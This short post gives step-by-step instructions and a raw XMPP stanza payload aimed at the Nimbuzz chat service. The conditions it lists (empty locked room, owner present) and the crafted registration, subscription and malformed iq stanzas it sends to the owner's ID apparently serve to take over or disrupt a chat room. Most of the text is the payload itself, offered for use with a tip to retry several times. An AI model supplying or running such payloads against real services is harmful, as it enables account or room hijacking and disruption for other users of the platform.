1.ROOM SHOULD BE EMPTY AND LOCKED
2.OWNER ID SHOULD BE IN ROOM
3.SEND THE SCRIPT IN YOUR XMLN
<message to='ROOM_NAME@conference.Nimbuzz.Com' type='groupchat'> <body>unavailable</body></message><iq to="nimbuzz.com" type="set" id="discoResult"><query xmlns="jabber:iq:register"><username>YOUR JID HERE</username><password>jabber.org.protocol.disco</password></query></iq><presence type="subscribe" to="jabber.org.protocol@nimbuzz.com" ></presence><iq to="OWNER_ID@nimbuzz.com/<>"/><presence to="ROOM_NAME@conference.nimbuzz.com"><c xmlns="http://jabber.org/protocol/caps" node="nimbuzz:caps"/><priority>0</priority><x xmlns="http://jabber.org/protocol/muc#user"></x></presence>
try 3-4 times if 1st time does not work.
